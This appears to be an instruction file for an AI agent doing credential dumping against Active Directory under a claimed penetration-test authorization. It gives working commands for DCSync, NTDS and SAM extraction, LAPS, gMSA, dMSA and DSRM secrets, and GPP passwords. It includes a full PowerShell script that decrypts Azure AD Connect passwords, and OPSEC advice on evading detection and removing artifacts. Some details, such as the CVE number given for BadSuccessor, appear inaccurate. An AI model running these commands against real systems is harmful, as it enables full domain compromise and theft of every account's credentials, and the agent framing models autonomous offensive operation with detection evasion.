Credential Dumping

You are helping a penetration tester extract credentials from Active Directory stores including domain databases, local machine hives, Azure AD Connect sync databases, managed service accounts, and directory recovery secrets. All testing is under explicit written authorization.

Kerberos-first authentication: All remote credential extraction commands use Kerberos authentication (-k -no-pass, --use-kcache) to avoid NTLM detection signatures. Exception: local filesystem operations (SAM/NTDS extraction from hives) where Kerberos auth does not apply.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [credential-dumping] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Access level varies by technique (see Step 1)
• Tools: secretsdump.py (Impacket), netexec (nxc), optionally mimikatz, bloodyAD, gMSADumper.py, ntdsutil.exe

Kerberos-first workflow (for remote extraction):

getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
# or with password
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL
export KRB5CCNAME=user.ccache

# All extraction commands use -k -no-pass
secretsdump.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL

Step 1: Assess Access Level

Determine what you can extract based on current access:

Access Level	Available Techniques	Go To
Replication rights (DS-Replication-Get-Changes + Get-Changes-All)	DCSync	Step 2
Domain Admin / DC local admin	DCSync, NTDS extraction, LAPS, gMSA	Step 2 or 3
Azure AD Connect admin (ADSyncAdmins, Azure Admins, or shell on AADConnect host)	ADSync credential extraction	Step 2b
Local admin on target	SAM dump	Step 4
LAPS read permission (on computer object)	LAPS password read	Step 5
gMSA read permission (PrincipalsAllowedToRetrieve)	gMSA password	Step 6
GenericWrite on dMSA	dMSA BadSuccessor	Step 7
DC local admin + DSRM knowledge	DSRM credential extraction	Step 8

Check Replication Rights

# Check if current user has replication rights
bloodyAD -k -no-pass get writable --right 'REPLICATION' --detail

# Verify via secretsdump (attempt DCSync for a single account)
secretsdump.py -k -no-pass -just-dc-user krbtgt DOMAIN/user@DC.DOMAIN.LOCAL

Step 2: DCSync (Replication)

Extract credentials by simulating domain controller replication. Requires DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights (held by Domain Admins, Enterprise Admins, DC machine accounts, and accounts with these rights explicitly granted).

Full Domain Dump

# Extract ALL domain hashes (users, machines, krbtgt)
secretsdump.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL

# Output format: user:rid:lmhash:nthash:::
# Also extracts: Kerberos keys (AES256, AES128), cleartext (if reversible)

Targeted DCSync (Lower OPSEC)

# Single user (e.g., krbtgt for Golden Ticket)
secretsdump.py -k -no-pass -just-dc-user krbtgt \
  DOMAIN/user@DC.DOMAIN.LOCAL

# Specific high-value account
secretsdump.py -k -no-pass -just-dc-user Administrator \
  DOMAIN/user@DC.DOMAIN.LOCAL

# Only NTLM hashes (skip Kerberos keys, cleartext)
secretsdump.py -k -no-pass -just-dc-ntlm DOMAIN/user@DC.DOMAIN.LOCAL

NetExec DCSync

# Check if DCSync is possible
nxc smb DC.DOMAIN.LOCAL --use-kcache -M dcsync

# Full dump via NetExec
nxc smb DC.DOMAIN.LOCAL --use-kcache --ntds

Mimikatz DCSync (Windows)

# Single user
lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt

# All users
lsadump::dcsync /domain:DOMAIN.LOCAL /all /csv

OPSEC Notes

• Generates Event 4662 (directory service access) with replication GUIDs
• Generates Event 4928/4929 (replication source/destination)
• Targeted DCSync (single user) generates fewer events than full dump
• CrowdStrike detects DCSync via replication GUID patterns

Step 2b: Azure AD Connect (ADSync) Credential Extraction

Extract credentials stored in the Azure AD Connect synchronization database. The ADSync database contains encrypted connector account passwords — the on-premises AD connector typically runs as a high-privilege domain account (often Domain Admin or an account with DCSync rights) to sync password hashes to Azure AD.

When to Use

• Azure AD Connect is installed (look for ADSync service, AAD_ prefixed service accounts, or Microsoft Azure AD Sync in Program Files)
• You have a shell on the host running Azure AD Connect (usually the DC)
• Your user is a member of ADSyncAdmins, Azure Admins, or has local admin on the AADConnect host

Indicators of Azure AD Connect

• Service account named AAD_<hex> or MSOL_<hex> in domain users
• ADSync or ADSync2019 Windows service running
• C:\Program Files\Microsoft Azure AD Sync\ directory exists
• Port 1433 (SQL Server) or LocalDB instance with ADSync database

Step 1: Locate the ADSync Database

The ADSync database runs on either a full SQL Server instance or LocalDB. Try SQL Server first — LocalDB is often inaccessible from WinRM sessions.

# Check for ADSync service
Get-Service | Where-Object {$_.Name -like '*ADSync*'}

# Check install directory
ls "C:\Program Files\Microsoft Azure AD Sync\Bin"

# Try full SQL Server instance (use hostname as server name)
sqlcmd -S HOSTNAME -Q "SELECT name FROM sys.databases" -E
# Look for 'ADSync' in the output

# If full SQL Server fails, try LocalDB instances
sqlcmd -S "(localdb)\.ADSync" -Q "SELECT name FROM sys.databases" -E
sqlcmd -S "(localdb)\.ADSync2019" -Q "SELECT name FROM sys.databases" -E
sqlcmd -S "(localdb)\MSSQLLocalDB" -Q "SELECT name FROM sys.databases" -E

Common issue: LocalDB instances often fail from WinRM sessions due to user profile and named pipe access restrictions. Full SQL Server instances work reliably. If all SQL access fails, check the ADSync configuration file for the connection string:

type "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"
# or check the config
type "C:\ProgramData\ADSync\Configuration\Exported-ServerConfiguration.xml"

Step 2: Extract Encrypted Credentials

Query the ADSync database for connector configurations and keying material:

# Get connector names and encrypted configurations
sqlcmd -S HOSTNAME -d ADSync -E -Q "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent"

# Get DPAPI keying material
sqlcmd -S HOSTNAME -d ADSync -E -Q "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"

The private_configuration_xml column contains the connector type and target domain. The encrypted_configuration column contains the Base64-encoded encrypted password.

Step 3: Decrypt with mcrypt.dll

The ADSync installation includes mcrypt.dll which provides DPAPI-based decryption. The decryption workflow uses the KeyManager class to load the keyset, retrieve the active credential key, and decrypt the encrypted configuration.

Upload this script to the target and execute it:

# decrypt_adsync.ps1 — Azure AD Connect credential extraction
# Requires: shell on ADSync host, SQL access to ADSync database

# Load the mcrypt assembly
Add-Type -Path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"

# Get keying material from ADSync database
$sqlServer = $env:COMPUTERNAME  # adjust if SQL is on a different host
$results = @()
$conn = New-Object System.Data.SqlClient.SqlConnection
$conn.ConnectionString = "Server=$sqlServer;Database=ADSync;Integrated Security=True"
$conn.Open()

# Get keyset info
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

# Get encrypted connector configs
$cmd2 = $conn.CreateCommand()
$cmd2.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent"
$reader2 = $cmd2.ExecuteReader()

while ($reader2.Read()) {
    $config = $reader2.GetString(0)
    $encrypted = $reader2.GetString(1)

    # Initialize KeyManager and load keyset
    $km = New-Object Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
    $km.LoadKeySet($entropy, $instance_id, $key_id)
    $key = $null
    $km.GetActiveCredentialKey([ref]$key)

    # Decrypt
    $plaintext = $null
    $key.DecryptBase64ToString($encrypted, [ref]$plaintext)

    # Extract domain and username from private config
    $domain = ([xml]$config).SelectSingleNode("//parameter[@name='forest-login-domain']").text
    $username = ([xml]$config).SelectSingleNode("//parameter[@name='forest-login-user']").text

    if (-not $username) {
        # AAD connector uses different XML structure
        $username = "AAD Connector"
        $domain = "Azure AD"
    }

    Write-Host "Domain:   $domain"
    Write-Host "Username: $username"
    Write-Host "Password: $plaintext"
    Write-Host "---"
}
$reader2.Close()
$conn.Close()

Upload and execute via evil-winrm:

# evil-winrm session
upload /path/to/decrypt_adsync.ps1
powershell -ExecutionPolicy Bypass -File .\decrypt_adsync.ps1

Important — evil-winrm upload syntax: Use upload <local_path> without specifying a remote destination path. evil-winrm uploads to the current working directory. Specifying a full Windows path as the destination can cause path mangling (e.g., C:Users... instead of C:\Users\...).

Common Failures and Fixes

Error	Cause	Fix
LoadKeySet is not static	Called as [KeyManager]::LoadKeySet()	Instantiate: $km = New-Object ...KeyManager; $km.LoadKeySet(...)
Wrong argument count for GetActiveCredentialKey	Passed extra params	Takes 1 param only: $km.GetActiveCredentialKey([ref]$key)
Null-conditional operator ?. error	PowerShell 5.1 (Server 2016/2019)	Use if ($x) { $x.Property } instead of $x?.Property
MCrypt class not found	Wrong namespace	Full namespace: Microsoft.DirectoryServices.MetadirectoryServices.Cryptography
Get-ADSyncConnector COM class factory error	DCOM limitation in WinRM	Don't use the ADSync PowerShell module — use mcrypt.dll directly
LocalDB access denied	WinRM session lacks user profile context	Use full SQL Server instance (HOSTNAME) instead of (localdb)\...
SQL connection fails	ADSync uses named instance	Try HOSTNAME\SQLEXPRESS, HOSTNAME\ADSync, or check services for SQL instance name

What This Extracts

The ADSync database typically contains two connector accounts:

1. On-premises AD connector — domain account that syncs AD objects. Often runs as DOMAIN\Administrator or a service account with DCSync rights. This is the high-value target.
2. AAD connector — Azure AD tenant account used for cloud sync. Format: Sync_HOSTNAME_<hex>@tenant.onmicrosoft.com.

If the on-premises connector runs as a domain admin or has replication rights, use the extracted cleartext password for DCSync (Step 2) to extract all domain hashes.

OPSEC Notes

• Requires uploading a PowerShell script to the target (artifact)
• SQL queries to ADSync database may be logged if SQL audit is enabled
• Clean up uploaded scripts after extraction: Remove-Item .\decrypt_adsync.ps1 -Force
• The extraction itself is a local database read — no network detection signatures
• Subsequent DCSync with extracted creds generates standard replication events (4662, 4928/4929)

Step 3: NTDS Extraction (Offline)

Extract the NTDS.dit database file from a DC for offline hash extraction. Requires filesystem access to the DC.

Method A: VSS Shadow Copy

# Remote via Impacket (creates VSS, extracts NTDS + SYSTEM, cleans up)
secretsdump.py -k -no-pass -use-vss DOMAIN/user@DC.DOMAIN.LOCAL

# Manual on DC via diskshadow
diskshadow.exe
> set context persistent nowriters
> add volume C: alias cdrive
> create
> expose %cdrive% Z:
> exit

# Copy NTDS.dit from shadow
copy Z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy Z:\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Cleanup
diskshadow.exe
> unexpose Z:
> delete shadows volume C:
> exit

Method B: ntdsutil (Native Windows)

# Install From Media (IFM) — creates ntds.dit + SYSTEM hive
ntdsutil.exe "ac i ntds" "ifm" "create full C:\temp\ntds-backup" "quit" "quit"

# Files created:
# C:\temp\ntds-backup\Active Directory\ntds.dit
# C:\temp\ntds-backup\registry\SYSTEM

Method C: Volume Shadow Copy (vssadmin)

# Create shadow copy
vssadmin create shadow /for=C:

# Copy from shadow (use shadow copy ID from output)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

Offline Hash Extraction

# Extract hashes from NTDS.dit + SYSTEM hive
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

# Output: all domain users, machine accounts, krbtgt
# Format: user:rid:lmhash:nthash:::

OPSEC Notes

• VSS creation generates Event 8222 (shadow copy created)
• ntdsutil generates Event 325 (database engine detached)
• File copy from shadow is logged if Sysmon is active
• Remote -use-vss via secretsdump auto-cleans but leaves brief artifacts
• Large NTDS.dit files take time to exfiltrate — consider DCSync instead

Step 4: SAM Dump (Local Machine Hashes)

Extract local account hashes from the SAM registry hive.

Remote SAM Dump

# Via secretsdump (extracts SAM + LSA secrets + cached domain creds)
secretsdump.py -k -no-pass DOMAIN/user@TARGET.DOMAIN.LOCAL

# NetExec SAM dump
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --sam

# NetExec LSA secrets (includes cached domain logon hashes)
nxc smb TARGET.DOMAIN.LOCAL --use-kcache --lsa

Manual SAM Extraction

# Save registry hives (requires SYSTEM or local admin)
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
reg save hklm\security C:\temp\security

# Extract hashes from saved hives
secretsdump.py -system system -sam sam -security security LOCAL

What SAM Contains

• Local user accounts (Administrator RID 500, custom local accounts)
• Does NOT contain domain user hashes
• LSA secrets contain: cached domain logon hashes (DCC2), service account passwords, auto-logon credentials

Step 5: LAPS Passwords

Read local admin passwords managed by LAPS from computer objects in AD.

Legacy LAPS (ms-Mcs-AdmPwd)

Plaintext password stored in ms-Mcs-AdmPwd attribute. Readable by accounts with explicit read permission on the attribute.

# NetExec LAPS module (reads both legacy and Windows LAPS)
nxc ldap DC.DOMAIN.LOCAL --use-kcache --laps

# bloodyAD (Kerberos-first)
bloodyAD -k -no-pass get object 'TARGET$' --attr ms-Mcs-AdmPwd

# Impacket Get-LAPSPassword (if available)
Get-LAPSPassword.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL

# PowerView
Get-DomainComputer TARGET -Properties ms-Mcs-AdmPwd

# Native AD module
Get-ADComputer TARGET -Properties ms-Mcs-AdmPwd | Select ms-Mcs-AdmPwd

Windows LAPS (2023+ / KB5025229)

New attributes: msLAPS-Password, msLAPS-EncryptedPassword, msLAPS-PasswordExpirationTime. Encrypted passwords require DPAPI decryption or authorized read access.

# NetExec reads Windows LAPS automatically
nxc ldap DC.DOMAIN.LOCAL --use-kcache --laps

# bloodyAD (reads encrypted + decrypts if authorized)
bloodyAD -k -no-pass get object 'TARGET$' --attr msLAPS-Password
bloodyAD -k -no-pass get object 'TARGET$' --attr msLAPS-EncryptedPassword

# Native cmdlet (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText

Find LAPS-Managed Computers

# Find computers with LAPS attributes set
bloodyAD -k -no-pass get search --filter '(ms-Mcs-AdmPwdExpirationTime=*)' \
  --attr sAMAccountName,ms-Mcs-AdmPwd

# Find who can read LAPS passwords
bloodyAD -k -no-pass get writable --right 'READ' \
  --filter '(ms-Mcs-AdmPwdExpirationTime=*)' --detail

OPSEC Notes

• Legacy LAPS read is an LDAP query — very low OPSEC
• No authentication events generated beyond normal LDAP bind
• Some organizations audit reads on ms-Mcs-AdmPwd via AD ACL auditing
• Windows LAPS encrypted passwords require authorized decryption context

Step 6: gMSA Passwords

Extract Group Managed Service Account passwords.

Read gMSA Password (Authorized Principal)

If your account is in PrincipalsAllowedToRetrieveManagedPassword:

# NetExec gMSA module
nxc ldap DC.DOMAIN.LOCAL --use-kcache --gmsa

# bloodyAD
bloodyAD -k -no-pass get object 'gMSA_ACCOUNT$' \
  --attr msDS-ManagedPassword

# gMSADumper
python3 gMSADumper.py -k -no-pass -d DOMAIN.LOCAL

# PowerShell (DSInternals)
$gmsa = Get-ADServiceAccount -Identity gMSA_ACCOUNT -Properties msDS-ManagedPassword
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$mp.SecureCurrentPassword | ConvertFrom-SecureString -AsPlainText

Find gMSA Accounts and Authorized Readers

# Find all gMSA accounts
bloodyAD -k -no-pass get search \
  --filter '(objectClass=msDS-GroupManagedServiceAccount)' \
  --attr sAMAccountName,msDS-GroupMSAMembership

# Check who can read the password
bloodyAD -k -no-pass get object 'gMSA_ACCOUNT$' \
  --attr msDS-GroupMSAMembership

GoldenGMSA (Persistence via KDS Root Key)

If you have Domain Admin access, extract the KDS root key to compute any gMSA password offline — even after password rotation.

# Extract KDS root key
bloodyAD -k -no-pass get object \
  "CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=domain,DC=local" \
  --attr msKds-RootKeyData

# Compute gMSA password from KDS key (GoldenGMSA technique)
# Requires: KDS root key + gMSA SID + managed password ID
python3 GoldenGMSA.py compute --sid S-1-5-21-...-1234 \
  --kds-key BASE64_KDS_KEY

OPSEC Notes

• Authorized gMSA password read is normal operation — low OPSEC
• KDS root key extraction requires DA and generates Event 4662
• GoldenGMSA persists across password rotations (computed offline)

Step 7: dMSA Exploitation (BadSuccessor — CVE-2025-21293)

Delegated Managed Service Accounts (dMSA) can be exploited via the successor mechanism. Writing msDS-ManagedPasswordId on a dMSA allows the attacker's account to retrieve the managed password.

Prerequisites

• GenericWrite or WriteProperty on a dMSA object
• dMSA feature enabled (Windows Server 2025+)

Enumeration

# Find dMSA accounts
bloodyAD -k -no-pass get search \
  --filter '(objectClass=msDS-DelegatedManagedServiceAccount)' \
  --attr sAMAccountName,msDS-ManagedPasswordId

# Check write permissions on dMSA
bloodyAD -k -no-pass get writable \
  --filter '(objectClass=msDS-DelegatedManagedServiceAccount)' --detail

Exploitation

# Set attacker as successor (requires GenericWrite on dMSA)
bloodyAD -k -no-pass set object 'dMSA_ACCOUNT$' \
  msDS-ManagedPasswordId -v ATTACKER_MACHINE_SID

# Read the managed password
bloodyAD -k -no-pass get object 'dMSA_ACCOUNT$' \
  --attr msDS-ManagedPassword

# PowerShell variant
Set-ADObject -Identity "CN=dMSA_ACCOUNT,CN=Managed Service Accounts,DC=domain,DC=local" `
  -Replace @{'msDS-ManagedPasswordId'=$attackerSID}

OPSEC Notes

• HIGH OPSEC — object modification generates Event 5136
• dMSA is a new feature (Server 2025+) — limited deployment currently
• Patch status should be verified — CVE-2025-21293 may be patched

Step 8: DSRM Credentials

Extract the Directory Services Restore Mode password from a DC. Used for offline DC recovery — provides local Administrator access to the DC when booted in DSRM.

Check DSRM Logon Behavior

# 0 = only in DSRM boot (default), 2 = always available for network logon
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DsrmAdminLogonBehavior

Extract DSRM Hash

# Via secretsdump (extracts LSA secrets including DSRM)
secretsdump.py -k -no-pass DOMAIN/admin@DC.DOMAIN.LOCAL

# From saved hives
secretsdump.py -system SYSTEM -security SECURITY LOCAL

# Mimikatz (on DC)
lsadump::lsa /patch
# Shows DSRM Administrator hash

Use DSRM for DC Access

If DsrmAdminLogonBehavior = 2:

# Authenticate to DC using DSRM hash (local auth)
secretsdump.py -hashes :DSRM_HASH 'DC_HOSTNAME/Administrator@DC_IP'

OPSEC Notes

• DSRM hash extraction requires DC local admin
• Changing DsrmAdminLogonBehavior to 2 is a persistence technique
• Event 4657 (registry value modified) if changing logon behavior

Step 9: EFS-Encrypted Files

When a target file is EFS-encrypted (access denied despite admin/SYSTEM creds), PTH sessions (WinRM, psexec, wmiexec) won't work — they don't load the user's DPAPI keychain. You need a real interactive logon.

Check for Plaintext Credentials First

# DefaultPassword in LSA secrets = instant win (autologon cred)
grep -i 'DefaultPassword\|DefaultUserName' engagement/evidence/secretsdump*.txt

# Also check cached domain logon credentials in secretsdump output
grep -i 'dpapi_machinekey\|NL\$KM' engagement/evidence/secretsdump*.txt

If you have a plaintext password for the file owner, use schtasks:

Scheduled Task Bypass (Preferred)

schtasks with /ru /rp creates a real logon session that loads DPAPI keys, bypassing EFS restrictions that block PTH sessions.

schtasks /create /tn "efs_read" /tr "cmd /c type C:\Users\target\secret.txt > C:\Windows\Temp\out.txt" /sc once /st 00:00 /ru DOMAIN\user /rp "password" /f
schtasks /run /tn "efs_read"
timeout /t 3
type C:\Windows\Temp\out.txt
schtasks /delete /tn "efs_read" /f
del C:\Windows\Temp\out.txt

RDP Fallback

If schtasks fails or RDP is available (port 3389):

# RDP creates a full interactive logon — DPAPI loads naturally
xfreerdp /v:TARGET /u:DOMAIN\\user /p:'password' /cert-ignore

Manual DPAPI Decryption (Last Resort)

Only if no plaintext password is available. Requires domain DPAPI backup key (from DCSync) or the user's master key.

# Extract domain backup key via DCSync
secretsdump.py -k -no-pass DOMAIN/admin@DC -just-dc-user 'DOMAIN\krbtgt'
# Backup key is in the DPAPI_SYSTEM section of secretsdump output

# Use dpapick3 (in Docker image) for CAPI key container decryption
# when impacket dpapi.py fails on CryptProtectData-wrapped containers
start_process(command="dpapick3 ...", privileged=True)

OPSEC Notes

• schtasks creates Event 4698 (task created) + 4702 (task updated)
• RDP creates Event 4624 type 10 (remote interactive logon)
• DPAPI backup key extraction is covered by DCSync events

Step 10: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

DCSync Fails with "Access Denied"

• Verify replication rights: bloodyAD -k -no-pass get writable --right 'REPLICATION'
• Only Domain Admins, Enterprise Admins, and DC machine accounts have replication rights by default
• Escalate (WriteDACL) to grant yourself replication rights

secretsdump Errors with "Remote Operations Failed"

• Target may require SMB3, add -smb2support or check Impacket version
• Try -use-vss flag for VSS-based extraction instead of DRSUAPI
• Clock skew (KRB_AP_ERR_SKEW): Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. Fix requires root: sudo ntpdate DC_IP

LAPS Attribute Empty

• Computer may not be LAPS-managed (no GPO applied)
• Password may have expired and not yet rotated
• Your account lacks read permission on ms-Mcs-AdmPwd
• Windows LAPS encrypted passwords need authorized decryption context

gMSA Password Returns Empty Blob

• Your account is not in PrincipalsAllowedToRetrieveManagedPassword
• gMSA password interval has not elapsed since account creation
• Try with DA credentials or find an authorized reader

GPP Passwords (Legacy — MS14-025)

Group Policy Preferences stored encrypted passwords in SYSVOL. Microsoft published the AES key, making all GPP passwords trivially decryptable:

# Automated extraction
Get-GPPPassword.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_password
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_autologin

# Manual search
findstr /S /I cpassword \\DOMAIN.LOCAL\SYSVOL\DOMAIN.LOCAL\Policies\*.xml

OPSEC Comparison

Technique	OPSEC	Detection Events	Notes
DCSync (targeted)	MEDIUM	4662 (replication GUIDs)	Single user = fewer events
DCSync (full domain)	MEDIUM	4662, 4928/4929	Many replication events
NTDS extraction (VSS)	HIGH	8222 (VSS), file access	Large file exfiltration
NTDS (ntdsutil)	HIGH	325, process creation	Native tool but noisy
Azure AD Connect	LOW-MEDIUM	SQL query, file upload	Local DB read, script artifact on disk
SAM dump (remote)	MEDIUM	4624, registry access	Standard admin operation
LAPS read (legacy)	LOW	LDAP query only	Normal directory read
LAPS read (Windows)	LOW	LDAP + decryption	Authorized operation
gMSA read	LOW	LDAP query	Normal if authorized
GoldenGMSA (KDS)	MEDIUM	4662 (KDS access)	DA required
dMSA BadSuccessor	HIGH	5136 (object modify)	New attack surface
DSRM extraction	HIGH	LSA access	Requires DC access
GPP passwords	LOW	SMB share access	Read-only SYSVOL